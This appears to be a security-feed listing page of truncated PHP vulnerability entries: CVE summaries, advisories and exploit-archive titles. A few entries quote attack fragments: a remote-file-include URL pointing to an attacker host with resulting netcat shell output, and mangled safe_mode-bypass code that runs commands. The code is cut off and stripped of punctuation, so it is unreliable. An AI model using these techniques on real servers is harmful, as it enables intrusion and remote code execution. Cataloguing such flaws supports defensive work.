CVE-2007-4825

Directory traversal vulnerability in PHP 5.2.4 and earlier allows attackers to bypass openbasedir restrictions and possibly execute arbitrary code via a .. dot dot in the dl function...

CVE-2007-4660

Unspecified vulnerability in the chunksplit function in PHP before 5.2.4 has unknown impact and attack vectors, related to an incorrect size calculation...

PHP 5.x - 'Win32service' Local 'Safe_Mode()' Bypass

$n,'display'=$n,'path'=$cmd,'params'="/c $command "$name""; win32startservice$n; win32stopservice$n; win32deleteservice$n; $exec=filegetcontents$name; unlink$name; echo "".htmlspecialchars$exec.""; ? milw0rm.com 2007-07-27...

CVE-2007-1883

PHP 4.0.0 through 4.4.6 and 5.0.0 through 5.2.1 allows context-dependent attackers to read arbitrary memory locations via an interruption that triggers a user space error handler that changes a parameter to an arbitrary pointer, as demonstrated via the iptcembed function, which calls certain...

PHP 5.1.6 - Msg_Receive() Memory Allocation Integer Overflow

PHP 5.1.6 - MsgReceive Memory Allocation Integer Overflow source: https://www.securityfocus.com/bid/23236/info PHP is prone to an integer-overflow vulnerability because it fails to ensure that integer values aren't overrun. Attackers may exploit this issue to cause a buffer overflow and to corrup...

EUVD-2007-1575

The resource system in PHP 5.0.0 through 5.2.1 allows context-dependent attackers to execute arbitrary code by interrupting the hashupdatefile function via a userspace 1 error or 2 stream handler, which can then be used to destroy and modify internal resources. NOTE: it was later reported that PH...

PHP <= 5.2.1 session_regenerate_id() Double Free Exploit

No description provided by source. ?php //////////////////////////////////////////////////////////////////////// // // // | || | | | | | | | || || \ // // | |/ || '|/ |/ -| ' \ / -/ |||| /| || / // // ||||,||| ,|||||||,| || |||||| // // // // Proof of concept code from the Hardened-PHP...

CVE-2007-1383

Integer overflow in the 16 bit variable reference counter in PHP 4 allows context-dependent attackers to execute arbitrary code by overflowing this counter, which causes the same variable to be destroyed twice, a related issue to CVE-2007-1286...

CVE-2007-1286

Integer overflow in PHP 4.4.4 and earlier allows remote context-dependent attackers to execute arbitrary code via a long string to the unserialize function, which triggers the overflow in the ZVAL reference counter...

MOPB-01-2007:PHP 4 Userland ZVAL Reference Counter Overflow Vulnerability

Summary The Month of PHP Bugs starts with a PHP 4 security vulnerability that exploits a problem known for many years among the PHP developers. When a PHP application is run in PHP 4 it can overflow the variable reference counter because it is only 16 bit wide. Whenever this happens it will resul...

PHP 345 - ZendEngine Variable Destruction Remote Denial of Service

PHP 345 - ZendEngine Variable Destruction Remote Denial of Service source: https://www.securityfocus.com/bid/22764/info PHP is prone to a denial-of-service vulnerability because it fails to properly sanitize user-supplied input. An attacker who can run PHP code on a vulnerable computer may exploi...

CVE-2006-2283

CVE-2006-2283 affects SpiffyJr phpRaid versions 2.9.5 to 3.0.b3, enabling remote PHP code execution via remote file inclusion. Exploitation vectors involve crafted URLs in phpbb_root_path (auth.php/auth_phpbb with phpBB portal enabled) and smf_root_path (auth.php/auth_SMF with SMF portal enabled)...

BlackBoard Internet Newsboard System remote file include flaw

The remote host is running the BlackBoard Internet Newsboard System, an open-source PHP-based internet bulletin board software. The remote version of this software is vulnerable to a remote file include flaw due to a lack of sanitization of user-supplied data. Successful exploitation of this issu...

CVE-2004-2010

PHP remote file inclusion vulnerability in index.php in phpShop 0.7.1 and earlier allows remote attackers to execute arbitrary PHP code by modifying the basedir parameter to reference a URL on a remote web server that contains phpshop.cfg...

CVE-2004-1020

The addslashes function in PHP 4.3.9 does not properly escape a NULL /0 character, which may allow remote attackers to read arbitrary files in PHP applications that contain a directory traversal vulnerability in require or include statements, but are otherwise protected by the magicquotesgpc...

PHP 4.3.7 - openlog() Remote Buffer Overflow

PHP 4.3.7 - openlog Remote Buffer Overflow http://www.vulnerable.box/remincl.php?page=http://3v1l.h4x0r.b0x/tooopenlog.php.txt BOOM.... netcat www.vulnerable.box 65535 Microsoft Windows 2000 versie 5.00.2195 C Copyright 1985-2000 Microsoft Corp. C:\Program Files\Apache Group\Apache2 --- Getting a...

CVE-2004-1065

Buffer overflow in the exifreaddata function in PHP before 4.3.10 and PHP 5.x up to 5.0.2 allows remote attackers to execute arbitrary code via a long section name in an image file...

PHP 4.3.7 - 'php-exec-dir' Patch Command Access Restriction Bypass

milw0rm.com 2004-08-08...

php -- strip_tags cross-site scripting vulnerability

Stefan Esser of e-matters discovered that PHP's striptags function would ignore certain characters during parsing of tags, allowing these tags to pass through. Select browsers could then parse these tags, possibly allowing cross-site scripting attacks...

OpenBB 1.0 - Unauthorized Moderator Access

source: https://www.securityfocus.com/bid/4823/info OpenBB is web forum software written in PHP. It will run on most Linux and Unix variants, in addition to Microsoft Windows operating systems. OpenBB is reported to be vulnerable to a condition that will allow an unauthorized user to gain moderat...